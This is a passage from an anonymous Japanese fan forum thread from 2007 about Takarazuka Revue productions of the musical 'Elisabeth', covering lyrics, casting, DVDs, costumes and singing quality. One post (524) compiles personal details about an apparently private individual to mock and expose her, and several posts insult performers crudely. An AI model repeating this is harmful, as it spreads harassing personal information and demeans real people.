それだと「禁じられた」「愛の禁忌」と
禁止が二重になっておかしいのでは?という意味だとオモ
日本語はむずかしいなぁ〜

「禁じられた愛に踏み出す」もしくは
「愛のタブーに踏み込む」が文法的には正しいのかな?

449 :名無しさん@花束いっぱい。:2007/08/22(水) 14:53:54 ID:sM4GnQ7r
さえちゃんは、顎下の肉が気になった
不敵に微笑んでもその肉が雰囲気を掻き消すっちゅーか…
ダンスはどのトートより酷かった
でも歌は本人比でよくなってたし、衣装も好きだったな
まぁアサコシシィには負けちゃうよなー

450 :名無しさん@花束いっぱい。:2007/08/22(水) 19:18:59 ID:tRop+SmU
>>448それ、初めて聴いた時から思ってたw

こだまっちの「錆びたコイン 今は色褪せて」、
谷の「愛 アモーレ」と並ぶ、意味重なってますよソングだ。

451 :名無しさん@花束いっぱい。:2007/08/22(水) 20:02:03 ID:zcSSEBKe
教えてチャンですみません。
パレードで革命家3人が降りてくるときの、歌詞、何て言っているのでしょうか?
♪古き○○・・に別れつげ、架け橋築こう、
 今日より始めましょ、○○・・・♪

452 :名無しさん@花束いっぱい。:2007/08/22(水) 20:59:49 ID:JmGTu9m2
初演雪・星・宙組の実況を聴いてみた限りでは「古きに分かれ告げ」で良いと思いますが。
再演雪では違うのかな?
その先は「今日より始めましょう、二人の友情」かと。

453 :名無しさん@花束いっぱい。:2007/08/22(水) 21:01:13 ID:JmGTu9m2
う、分かれ、じゃなく、別れ、です。もちろん。

454 :名無しさん@花束いっぱい。:2007/08/22(水) 21:10:09 ID:PpYCn8XT
古き楔に別れ告げ、
二つの国の友情を
のハズ

455 :名無しさん@花束いっぱい。:2007/08/22(水) 21:15:24 ID:y83cLkSe
>454
それ戴冠式の場面の歌詞w
パレード革命家のとちょとチガウ。

456 :名無しさん@花束いっぱい。:2007/08/22(水) 21:31:23 ID:JmGTu9m2
>>452
便乗で逆質問なのですが、今はここのパートって、革命家の3人降りなのでしょうか?
ようつべで散々見た初演雪のパレードでは、エルマーとマデレーネの2人降りなもので。

457 :名無しさん@花束いっぱい。:2007/08/22(水) 22:17:25 ID:ljK+qTVu
花エリザの特典、千秋楽の映像じゃないんだーorz
月は千秋楽だよね?
ちなみに花エリザ特典、音がかなり悪いです。
マイクなしの人の声が拾えてない。
カメラも引きすぎな感じ。
花エリザの千秋楽はいつお披露目されるんだ!?

458 :名無しさん@花束いっぱい。:2007/08/22(水) 22:50:28 ID:d3PRwlyM
>451,452
古き日に別れ告げ 架け橋築こう>456
番手やら退団者やらの兼ね合いもあるよ
初演雪はマデレーネ役が当時2番手娘役だったのもあって大劇は和央と階段降り
東宝は和央がルドルフに繰り上がったので現星トップの安蘭と二人で階段降り

その前に降りてくる3人組が
大劇:少年ルドルフ安蘭と大劇で退団した黒天使(男役では学年一番上)、東宝で退団したシュテファン役
東宝:繰り上がって男役で学年一番上になった黒天使と革命家2人(和央の繰り上がりでこちらも役替わり)

初演星は確か革命家3人でエーヤン、古き日にの所は退団の
男役(やや路線より)と娘役2人だったかと

記憶が星に関しては若干アヤフヤなんでフォローよろ

459 :458:2007/08/22(水) 22:52:26 ID:d3PRwlyM
綺麗に改行できてなかったorz
見辛くてモウシワケナスorzorz

ホントは>458の>456の前で改行したかったの

460 :名無しさん@花束いっぱい。:2007/08/23(木) 04:42:09 ID:7IKwpm5o
>>458
詳しい解説ありがとうございます。

古きに…のところは本来二人降り(歌詞も「二人の友情」ですし)のところを
今回は三人降りになっているので、微妙に違和感があるのですね。

461 :名無しさん@花束いっぱい。:2007/08/23(木) 08:48:22 ID:bmlhZBPF
この場合の二人はオーストリーとハンガリーなので、人数はそんなに関係なくない?

462 :名無しさん@花束いっぱい。:2007/08/23(木) 10:48:40 ID:7IKwpm5o
いや、パレードの時の歌詞は、パレード向けに一部書き変わってる。
「僕はママの鏡だから」→「僕は君の鏡だから」とか。
「二つの国の友情」→「二人の友情」も、男女二人降りに合わせたように思う。

463 :名無しさん@花束いっぱい。:2007/08/23(木) 14:28:02 ID:nn2q4DDm
エリザの超早回しの「トリの〜よぉに〜トキハ〜ナタレテ〜」だけは
なんとかしてやってほしいと毎回思う>パレード

464 :名無しさん@花束いっぱい。:2007/08/23(木) 15:26:42 ID:pwBvpWWn
便乗して質問しちゃいますが
エリザ新公でカットされる場面ってどこですか?
どうやら2幕の病院のシーンはカットのようなのですが・・・

465 :名無しさん@花束いっぱい。:2007/08/23(木) 15:40:08 ID:ETLXNZgJ

古き
神田くん(88入団)&まりさ(万理沙ひとみ)のはず

月は
もり・ひろ・めお→ほく・さららん・るいるい→ユヒ
だったはず

466 :名無しさん@花束いっぱい。:2007/08/23(木) 15:48:30 ID:TwfCxejN
いや、月は
ひろみ・るい・もりえ→めお・さららん・ほく

467 :名無しさん@花束いっぱい。:2007/08/23(木) 17:47:15 ID:jhjPSfD8
>465
思い出したのでカキコ
下手から陵・神田・万理沙の3人だったハズ
マサキがセンター降りしてたの覚えてるから

468 :名無しさん@花束いっぱい。:2007/08/24(金) 11:10:46 ID:bodavgk+
96雪 大劇
京さん(高倉)・トウコ・レオ(有未)→たかこ・ゆり(星奈)→タータン

96雪 東京
京さん・タマオ(楓)・ケロさん→トウコ・ゆり→タカコ


あっこ(陵)・マリサ(万理沙)・カンダ君(神田)→
サエコ・わたる・クジョラ(久城)→ブンちゃん

宙大劇
あきよ(南城)・はっちゃん(初嶺)・あかり(久路)→
まや(久遠)・ねったん・ヒナ(朝比奈)→コム

宙東京
あきよ(南城)・はっちゃん(初嶺)・あかり(久路)→
まや(久遠)・ねったん・ヒナ(朝比奈)→じゅりぴょん

469 :名無しさん@花束いっぱい。:2007/08/24(金) 11:12:51 ID:bodavgk+

ここがあやふやなんだが、
さらばが無しで

みわ・蘭トム・まつ→ゆみこ
だっけなぁ


もりえ・るい・ひろみ→めお・さららん・みっちゃん→ウヒ

07雪
きたろう・いづるん→コマ・ひろみ・キング→テル

訂正ヨロ


470 :名無しさん@花束いっぱい。:2007/08/24(金) 17:00:14 ID:7drdNXIA
>463 エリザが階段降りしてくるところ、
みどりエリザは登場から下まで一度もまばたきしてないので驚いた。
(花大劇のほう、東宝は未確認)


それにしても、花組の東京千秋楽の映像撮ってないなんてなぁ。
みどりちゃんさよならショーは映像あるのに(前スカステでやったよね)片手落ちだよ。

471 :名無しさん@花束いっぱい。:2007/08/24(金) 21:00:16 ID:X9CJR/cR
>470
あるだけありがたいと思え
初演雪・星・宙なんて今あるDVDだけだ

472 :名無しさん@花束いっぱい。:2007/08/25(土) 10:50:36 ID:CBqO9uTd
451です
遅ればせながら、皆さんたくさんの御回答をありがとうございました。



473 :名無しさん@花束いっぱい。:2007/08/25(土) 22:56:00 ID:jxKUI5ka
>>448
仲間がいてくれて助かりました。
そういう捉え方はおかしいとみんなにいじめられていました。
やはりおかしいですよね。
武士という侍が馬から落ちて落馬して…あれみたい。

474 :名無しさん@花束いっぱい。:2007/08/26(日) 17:27:32 ID:XALrHIp/
こんなに、何度も何度も、過大でもない、普通程度の期待さえ裏切られ
贔屓組なのに、本当に楽しみに観に行ってるのに、後味よくなく帰途に着く…
やる気ないのなら、もしくはやる気あっても満足にやれないんだったら
お願いだから、早めに身を引いてくれないか
前までは、時に目に見えて気を抜いててもまだ、仕方ないんだろうとか思えた
集中してるときは実際凄いから、常にそれだと倒れるよね、加減は必要だね、って
しかしいくらなんでも、ここにきて度々これじゃ、なんかむなしい気分になるんだよ
なんで贔屓組だったんだろうって恨めしくもなるよ
なのに何だ?あの、歯の浮くような絶賛ばかりの寒い盛り上げぶりは…
DVD化しろだと?ふざけんなよ…周りはいくら良くてもセンターがアレなんだぞ?
こんなこと思う自分が嫌だけど、今度で本当にどうしようもなく失望しちまったorz

475 :名無しさん@花束いっぱい。:2007/08/26(日) 17:28:41 ID:XALrHIp/
誤爆…orz

476 :名無しさん@花束いっぱい。:2007/08/27(月) 23:53:28 ID:uh2RpoGH
....で、結局どのスレに書きたかったの?贔屓組はどこかな。

477 :名無しさん@花束いっぱい。:2007/08/28(火) 01:08:57 ID:8LjowO7V
DVD化で騒いでんなら博多か舞姫か

478 ::2007/08/28(火) 13:09:05 ID:8R4cfcTp
ずっと前に花チャンが【鏡の間】から出て来る白い衣装は個人で提供したって噂がありましたよね?
本当はどうなのでしょうか??

479 :名無しさん@花束いっぱい。:2007/08/28(火) 16:24:00 ID:1vlEdlCm
>>478
ホントだとオモ

ただ、レースだけと聞いた。
フランスだかどこかの手織りのレースだって。
2000万って。

でも、金の出所は、女帝本人または実家。

480 :名無しさん@花束いっぱい。:2007/08/28(火) 16:36:20 ID:1vlEdlCm
ワタクシが聞いた話では、
女帝にしても、だれにしても、

トップなど、着替えのお衣装がたくさん必要な生徒に
スポンサー・実家・・・から 衣装代が出してもらえると

予算を下級生にもまわせるから
舞台が豪華になると。

481 :名無しさん@花束いっぱい。:2007/08/28(火) 16:43:59 ID:F5cPcM0v
>>470 花組東京千秋楽、劇場にはカメラはずっと入っていたのだが。
みどりちゃんさよならショー以降しか撮ってないのかな?
本編も皆熱演してて、すごく良かったのにな〜。もったいない!

482 :名無しさん@花束いっぱい。:2007/08/28(火) 16:49:12 ID:Ou99F7kg
連投ごめん
千秋楽映像はニュースで流れたよね
それでいいから放送(DVD化)してほしい。

483 :名無しさん@花束いっぱい。:2007/08/28(火) 17:51:27 ID:ZsJa8Nw1
カメラ1台だったんじゃないの?
映像を収録するときは、東宝だと3台入るのが普通だけど。

484 :名無しさん@花束いっぱい。:2007/08/28(火) 18:08:26 ID:P1RAhbq2
>479
2000万は嘘。そんなに高価な生地じゃないよ。

485 :sage:2007/08/28(火) 19:01:50 ID:1M4Je0Pm
>>478
嘘だよ。
醍醐天皇の末裔とかと同じ都市伝説。
花總の自前と言われてるが、そんなことはないと
上級生や衣装部の人が言ってた。
なんでそんな噂になっちゃったのか、
みんな面白がって話してたけどね。

486 :名無しさん@花束いっぱい。:2007/08/28(火) 19:06:15 ID:wpolwqya
1000万ドレスと紹介されたことなかったっけ?
宝塚アカデミアで見たのかな〜

487 :名無しさん@花束いっぱい。:2007/08/28(火) 19:08:29 ID:eqngMMUx
>479

484も書いてるけど、鏡の場面のドレスのレースはかなり安物。
むしろ、初演のバートイシュルのブルーのレースの方が数段高級。
高級レースを見たことがない人には判らないかもしれないけど、生地感が全然違う。
パリコレのオートクチュール・コレクションなんかで使われているレースは全然違うから。
まして手織りなら、もっと違う織り柄になる。

この間、大きな生地屋のカーテン売り場のレース地を見てたら、そっくりのレースが1メートル千円以下で売ってたw
服を縫ったことがない人には判らないかもしれないけど、イメージが合えばカーテン地は充分服に使える。
一番大事なのは、服のイメージにあった予算内の生地。

488 :名無しさん@花束いっぱい。:2007/08/28(火) 20:36:22 ID:XlsTIssr
コミケで鏡の間のドレスでコスがいたから
案外作りやすいのかなとは思った

489 :名無しさん@花束いっぱい。:2007/08/28(火) 22:24:43 ID:u/g4klcL
>488 あの暑い日に、あのコスをする人がいたのか?!
すごいなー、見たかったw

490 :名無しさん@花束いっぱい。:2007/08/28(火) 22:57:48 ID:Bu+hZ6ev
エリザご一行様、二組いたお。
どっちもお見事デスタ!

491 :名無しさん@花束いっぱい。:2007/08/29(水) 01:17:27 ID:6qx4hzRi
>471
超亀だが
マリコさんのの東京は残したかった。゚(゚ノД`゚)゚。
すんごく上達したのに(あくまでヅカマリコ比だが)

492 :名無しさん@花束いっぱい。:2007/08/29(水) 01:44:15 ID:YBu2Iaev
禿同…星組はだんとつ東京が良かった。
とくに中日以降ね。やはりマリコ比だけど…

493 :名無しさん@花束いっぱい。:2007/08/30(木) 01:57:53 ID:hfxBOmM+
生は見てないけど、
ミュージカル誌でも書かれていたのは後から読んだ。
星の東京を残してあげたかった・・・と。(後藤田さん?)

494 :名無しさん@花束いっぱい。:2007/08/30(木) 02:03:25 ID:JjBYi69u
>493
後藤田さんぢゃなくて小藤田さんだ>ミュージカル誌に1ヵ月の観劇日誌を書いてるのは







ちなみに後藤田だと女優の水野真紀の現姓になっちまうよw>旦那は政治家

495 :名無しさん@花束いっぱい。:2007/08/30(木) 10:24:47 ID:UPv9IQ4u
退団後の最初の狸の和風トートも残してほしかった。
白塗りと和装と扮装が見事にマッチしてて息をのんだよ。
話はコメディーだったけど、初風シシィ・峰フランツの歌は絶品だったし。

496 :名無しさん@花束いっぱい。:2007/08/30(木) 14:21:27 ID:f7S4vt08
あー和風トートはアリかもしれんなぁー…
あと時々話題にでるけど短髪トートも捨てがたい。
お耽美系ばかりでなく、つんつん髪にパンクな衣装の閣下も見てみたい。

497 :名無しさん@花束いっぱい。:2007/08/30(木) 20:52:00 ID:xhzwaR2r
>495
初演ベルばらあたりの人がエリザをやってなくてよかったと思う
演技指導だのなんだの、イベントにもしゃしゃり出てきて先輩風吹かせそうでさ

498 :名無しさん@花束いっぱい。:2007/08/31(金) 23:36:22 ID:/4DQS/63
asso

499 :名無しさん@花束いっぱい。:2007/09/02(日) 18:27:46 ID:/eF/tLOy
エリザベートは一路さんのイメージが強かったけど、目が覚めた。
いま発売中のDVDの宣伝を見て鳥肌がたった。
水さんって、凄いはまり役かもしれませんね。

500 :名無しさん@花束いっぱい。:2007/09/02(日) 19:04:29 ID:IL/JvLH8
>>499
自分もエリザは絶対初演だ!っていうイメージが強かったのに、
今回の雪観て同じ事思ったよ。
今まで水の事を何とも思わなかったのに、トートで惚れてしまった…orz

501 :名無しさん@花束いっぱい。:2007/09/02(日) 22:15:50 ID:obIC6ZUx
うん!!
水さんのトート最高だ〜〜〜!

502 :名無しさん@花束いっぱい。:2007/09/02(日) 22:38:46 ID:9k7Lbbb9
初演雪階段降りメンバーのトップ率の高さは異常。

503 :名無しさん@花束いっぱい。:2007/09/02(日) 22:45:18 ID:Ai+11BXw
昔の映像でトップ率高いのなんて、どこの組も同じもん。
ご贔屓組が1番と思いがちだけど。

504 :名無しさん@花束いっぱい。:2007/09/02(日) 22:49:54 ID:YPyek5fY
>>501
うん。
今までまったくミズに興味なかったけれど、
エリザ観て今までの自分の宝塚人生を悔いたよ。
好みはいろいろ別れると思うけれど、
ミズのトートは自分的には史上最高だった。


505 :名無しさん@花束いっぱい。:2007/09/02(日) 22:53:49 ID:o2mpXlu/
どうした?水ファン。
今さら盛り上げても、劇団の評価は変わらないのに。


506 :名無しさん@花束いっぱい。:2007/09/02(日) 22:56:47 ID:isiyUUtZ
漏れは水好きだったが、あのトートはちょっと期待外れだったな・・・
役作りはともかく、鬘、衣装など肝心のビジュアルが受け入れられなかった。

507 :名無しさん@花束いっぱい。:2007/09/03(月) 08:50:47 ID:BVkNbRHe
劇団の評価が水にトートをさせたってことじゃね・・・・・505
そだね、水と出会えば人生2倍楽しめるかもな・・・・・504

508 :名無しさん@花束いっぱい。:2007/09/03(月) 08:54:35 ID:vNDAw9LL
>>507
結果の評価のことでしょw
棚ボタキャスティングだったわけだし。

509 ::2007/09/03(月) 10:50:32 ID:YBuk1t5J
水サンのトートって怖い表情が何とも良い感じ。
眉間の立てシワが怖くて...本当に死神に見えた!
しかし、DVDは舞台よりも白羽サンだけは素敵に役をこなして見えたのが不思議...。

510 :名無しさん@花束いっぱい。:2007/09/03(月) 11:23:14 ID:F2Y5c8lp
水さん絶賛のスレだけ上げてあるのは同一という事でしょうか?
それとも煽りでしょうか?

511 :名無しさん@花束いっぱい。:2007/09/03(月) 16:21:39 ID:ntSQnTuj
アンチのお仕事です。

512 :名無しさん@花束いっぱい。:2007/09/03(月) 22:17:49 ID:Wxd6ZDb8
アンチの務め
朝5時きっかりにPC立ち上げ

とか考えちまったよw

513 :名無しさん@花束いっぱい。:2007/09/04(火) 18:14:09 ID:Yf9cCNYB
音月さん 最高〜〜!!

514 :名無しさん@花束いっぱい。:2007/09/05(水) 16:31:45 ID:KB76fZuV
ニコニコで過去のエリザ見るとかなりショボく見える水トプのエリザ。
歌が下手なトートいらねw

515 :名無しさん@花束いっぱい。:2007/09/05(水) 17:18:09 ID:YnKAE8xK
>>514
まりこさんと、さえちゃんに、
失礼だぞ!

516 :名無しさん@花束いっぱい。:2007/09/06(木) 19:55:28 ID:lgQnv0Eu
初演の雪と花と宙のエリザ以外はカス。
凰稀かなめのルド何あれ?新人公演の方も駄目。雪死ねよ

517 :名無しさん@花束いっぱい。:2007/09/06(木) 21:02:24 ID:it0WIptZ
う〜〜ん歌以外だとカスは初演雪トート、宙トート。
何あれ、突っ立ているだけが脳がない演技と
やたら暴れん坊やんちゃ坊主演技、ケッ!

518 :名無しさん@花束いっぱい。:2007/09/06(木) 21:48:15 ID:lgQnv0Eu
歌が下手な主演はさっさと辞めれ。不細工なら尚更、ねぇ水夏希

519 :名無しさん@花束いっぱい。:2007/09/06(木) 22:19:07 ID:zk0pvYaz
不自然な賞賛レスが続いた後は不自然なアンチレス
アンチも信者も忙しいな。

520 :名無しさん@花束いっぱい。:2007/09/06(木) 23:06:11 ID:STbf8ViT
でも、その他のキャストは置いといても今回の雪ルドは自分もひどいと思ったよ
本公のかなめしかり新公のきんぐしかり
見栄えがいいだけで何も出来ない子は重要な役をやらせないで欲しいわ

521 :名無しさん@花束いっぱい。:2007/09/06(木) 23:10:46 ID:lgQnv0Eu
>>520激しく同意
ルド、好きな役だけあり新公までカスで切なくなったぜよ。つかコマトートも駄目
見た目だけの実力なしのジェンヌマジいらね

522 :名無しさん@花束いっぱい。:2007/09/06(木) 23:21:21 ID:YwtNm7oG
コマトート、見た目もいけていなかったと思うが・・・

ミズトートも見た目も歌も×だったから本役に合わせたのか・・・

523 :名無しさん@花束いっぱい。:2007/09/06(木) 23:32:02 ID:xfGR67Ex
http://jp.youtube.com/watch?v=7nGJdY5MIwg

524 :貴女の隣にいますよ:2007/09/15(土) 12:47:11 ID:3/ocT/3D
墾田永年(別名キトリ・妄想サイトの店長)のスペック
・福岡在住
・福岡女学院大生
・英語でミュージカルをしてますっ♪
・親と同居
・母親が更年期障害
・お金が無い(なけなしのお金で地元の博多座や福岡市民会館に行く)
・福岡市内のホテルでバイト
・大劇場と東宝には殆ど行った事が無い(三階席が無いのを知らない)
・金持ちコンプレックス
・家柄コンプレックス
・宝塚不合格歴あり(心に深い傷を負う)
・虚栄心が非常に強い(貧乏をからかわれるとムキになり見栄を張る)
・虚言癖(親戚OGが興信所に行ってジェンヌの調査を依頼している、現役月組生と知り合い)
・麻子様似
・ときおりあやね似
・好きなカップリング・・麻子様受マンセー
・気分転換はバイトの合間に妄想サイトの晒し活動
・タンタンの人気が妬ましい
・餌を与えないで下さい
つ自演乙


525 :名無しさん@花束いっぱい。:2007/09/15(土) 13:47:27 ID:EyfhUVcW
キングって絶対にソウカか金積んでるね

526 :名無しさん@花束いっぱい。:2007/09/18(火) 13:56:04 ID:9vuC0jUh
纏め

水主演の雪組エリザベートは最高にカスで下手で最悪。
新公もそれ以上にカス。

はい、終了

527 :名無しさん@花束いっぱい。:2007/09/19(水) 02:38:05 ID:sOZ6ZYzm
宙組好き、ズンコさん好きなのに宙エリザにガッカリした漏れが通りますよ

528 :名無しさん@花束いっぱい。:2007/09/20(木) 09:47:48 ID:05Fbp+hb
「コンプリートボックス」の特典ディスクを観たんだけど
きりやんの低音が全然出ていなくてイライラしたんだが。
みなさん上手と絶賛されていたからなんかガッカリ。
千秋楽だから疲れていたんでしょうか?

あと雪組のハマコゾフィーのばばぁっぷりが見事だった。

>527 1000daysに観に行ったとき隣に座っていたズンコさんファンが
「今日は気合いが入りすぎー昨日はあんなにやる気なさそうだったのにー」
とかぼやいていたのを思い出した。

529 :名無しさん@花束いっぱい。:2007/09/20(木) 23:47:56 ID:CVAjSKrE
千秋楽だから疲れていたんじゃないの?
つか普通の大劇DVDはそんなことないと思うが・・・

530 :528:2007/09/21(金) 10:16:40 ID:bDbrzTGt
普通の大劇DVDも生も観ていないので、
月組エリザは特典ディスクが初見なんです。
やっぱ楽公演で疲れていたんでしょうね。
表情とかせりふ回しとかは上手いし高音はめちゃウマだけどなーと思って。

次回エリザをするなら全キャストオーディションで決定してほしいな。
トートはとうこかきりやんで。
組・番手関係なく歌の上手い方だけに歌わせて欲しい。

531 :名無しさん@花束いっぱい。:2007/09/22(土) 00:08:44 ID:y546+/vv
ミズトートは確かにひでぇ歌だったけどな…

やはしマリコトート最強だとオモ
闇広で三半規管が狂ったのは後にも先にも星エリザだけだ

532 :名無しさん@花束いっぱい。:2007/09/22(土) 09:32:00 ID:YbUykyqQ
星エリザDVD、プロローグで挫折してそこから先に進めなかった
耳トラウマにより、再チャレンジする気になれないでいる

533 :名無しさん@花束いっぱい。:2007/09/22(土) 11:08:14 ID:j+vU4v4p
とうこは身のこなしがおじさん風になりそうだし、
きりやんはビジュアルがひどい。
おさの体操闇広も最悪だった。
この3人のは、CDで充分。


534 :名無しさん@花束いっぱい。:2007/09/26(水) 01:33:44 ID:sZneY20I
きりやん好きだけどルキーニはだめだった・・。
なんか陽気なイタリアのおっちゃんに見える。
ぺペロンチーノいっかが〜?みたいなW
凶器めいたものは不得意なのかなあ・・・。


535 :名無しさん@花束いっぱい。:2007/09/26(水) 05:26:03 ID:MUTELnPU
>>534まぁ・・・イタリア人ってのだけ抽出しちゃったんだろうか、とは思ったことあるがw
霊廟とか「ルキーニ」として出る所はもう少し狂気じみててもよかったような。

ビジュアルは理事の次にいいと思ってる<きりルキーニ
あさこはかっこよかったが、パーマかかってなかったからなぁ・・・別格かw
リカさんは暗殺者っぽかったがルキーニって感じがしなかったし、キムは可愛さが先に立ってた。
わたるは髭が・・・言っちゃ悪いがなんであんなきたな(ry

536 :名無しさん@花束いっぱい。:2007/09/26(水) 05:34:06 ID:5BfNr1Z7
わたるルキーニは本当に男が出てきたのかと思った

537 :名無しさん@花束いっぱい。:2007/09/26(水) 09:03:35 ID:tPHD/lM0
うん。でも本当に歌が下手だった。

538 :名無しさん@花束いっぱい。:2007/09/26(水) 09:45:33 ID:GYF6AbSX
けぎらいが、人生半分損しとる。
せっかく出会えてるのに…
ああ、モッタイナイ

539 :名無しさん@花束いっぱい。:2007/09/26(水) 12:30:05 ID:Dl2nGvPI
漏れは、ビブラートきかせまくりで男役である事すら忘れたように酔いしれ唄ってるトートよか、サエミズトートは好きだったよ。

540 :名無しさん@花束いっぱい。:2007/09/26(水) 13:09:01 ID:MUTELnPU
確かにさえトートはあんまり酔ってなかったのがよかったw
ダンスは酔っ払(ry

友人は、さえトートといえば、運動の間でシシィに手を伸ばした時、拒絶されて手が震えてるのが、
ダチョウ倶楽部の「ヤーッ!」に見えたことと言っていた・・・

541 :名無しさん@花束いっぱい。:2007/09/28(金) 13:28:02 ID:/bPdQK7R
トートは、
歌か演技かアンサンブルか、よいトコ見つけて
それぞれ個性を楽しむようにしている・・・

でも、月のびらびらの装飾華美な衣装は邪魔におもえた。
新・雪のシンプルさが、以外によかったけど・・・

軍服の開襟だけは、ぜ〜〜ったいバツ×!!!

542 :名無しさん@花束いっぱい。:2007/09/28(金) 22:18:06 ID:i7npaRjW
>541
それでもキムルキのパレードの軍服はあまりにペラペラで可哀相だった
歴代ルキは一応ベルベット素材で金or銀モールだったのに

CD・DVDスレでもちょこっと書いたけど、エリザCD、月が宝塚○ンで
予約中止になってるのが意外だった(主演が歌手じゃないから)
花と宙はわかるけど


543 :名無しさん@花束いっぱい。:2007/09/28(金) 22:31:43 ID:FcRaAzwf
毎回思うんだが、劇場で観ると「そこそこ」よく見える
しかし、改めてDVDで観たときよっく見える
改めてDVD
今回の雪は「俺的には」ひどかった
あくまで自分視点
DVDで観ると、かなめ余計ヒドイ
キム普通過ぎる、ミズはシャクレがまるわかり

初代雪、花が個人的には劇場もDVD(花は・・・)も良かった
やっぱミュージカルは歌が基本でしょ
学芸会やないんやから
なんでトップが、しかも良いミューで歌下手やねん

544 :名無しさん@花束いっぱい。:2007/09/28(金) 22:37:56 ID:ddHeRiUq
んー、なんか宝塚だと二分の一の確立で歌下手トートだから、もう慣れちゃったよw

でも最近ずんこと井上ヨシオ君の戦いのような闇が広がるを見て
「あー本来こういうものだったんだ」とも思った。

545 :名無しさん@花束いっぱい。:2007/09/29(土) 17:24:59 ID:rcGgkW7h
エリザはもう歌を楽しむか、ビジュアルを楽しむかのどちらかだと思ってる。
今までで全く駄目!って組はなかったなあ。
歌上手好きだけど、
星はりかさん以外の全主要キャスト(特にノルさんとぶんちゃん見直した)に心打たれたし、
月も雪も見た目が劇画タッチでよかった。

リかさんが嫌いじゃなくて、わたるさんもだけどなんかルキー二メイクがあまりにも汚く見えて駄目だった・・・。

546 :名無しさん@花束いっぱい。:2007/09/29(土) 18:33:41 ID:NH+eN0vd
エリザは歌でひっぱってく作品だと個人的には思う・・・
本が良くできた舞台だとは思えないので
歌がダメだとほんとに紙芝居になってしまう。
最低限、歌えるキャストを揃えて欲しい。
水トートは最初に出たセフィロス画像が一番良かった。
舞台で見ると言われてるほどビジュアルOKでもなかった
やっぱりアゴは気になった
(出てきた瞬間、トートだ!じゃなくミズだぁ、と思ってしまった)
ごめんよ水しゃん
でも今回の雪はマンガ的という意味では一番はまってたよ

547 :名無しさん@花束いっぱい。:2007/09/29(土) 20:12:58 ID:nEbDlDx3
>なんでトップが、しかも良いミューで歌下手やねん
しょっちゅうそんなこと言いながら見に行くから。


548 :名無しさん@花束いっぱい。:2007/09/30(日) 01:30:32 ID:WpnoULL2
>>540
ダチョウ倶楽部の「ヤーッ!」に見えたwww
禿わろた 


549 :名無しさん@花束いっぱい。:2007/10/01(月) 09:01:23 ID:LS2xEpke
今回の雪エリザはいけてない人たち(トート、シシィ、ルドルフ、革命家、死刑囚の母)と
いいと思える人たち(フランツ、ルキーニ、ゾフィ)のギャップがすごかったなあ。
でもここまでトップコンビがひどいと、やっぱり作品としては評価できない。
そんなにひどくなかったって評価する人もいるけど、
爬虫類のようなビジュアルと暑苦しい演技に歌が下手なトートなんてやっぱり最悪だし、
ただのお嬢さんにしか見えず、孤独の演技をワンパターンしか持たない丸顔シシィなんて、もはやシシィじゃない。
薄っぺらい演技で誉められるところはビジュアルだけのルドルフも……。

550 :名無しさん@花束いっぱい。:2007/10/02(火) 19:17:15 ID:XjYh0QED
まだテルのルドルフのがマシ。キングルドルフより

551 :名無しさん@花束いっぱい。:2007/10/02(火) 22:31:26 ID:EcyeRByj
月も大概だったが、「捨て切れない何か」が各人にあって、絶妙なバランスを保ってた(ジェンガのようw)のでまだ見られた。
雪はいい人と微妙な人の落差が激しかった。

552 :名無しさん@花束いっぱい。:2007/10/04(木) 21:05:19 ID:QDD0v33B
月はたいがいだった。生では彩輝さん、きれいだとか楽しめたが、もっとかわいいエリザが見たいと思った。
DVDになるともう、2回目見返すことはない。今となったら、あさこエリザのインパクトの強さのみ印象に残っている。
きりやんは上手かったが、私の持つイメージとずれていた。

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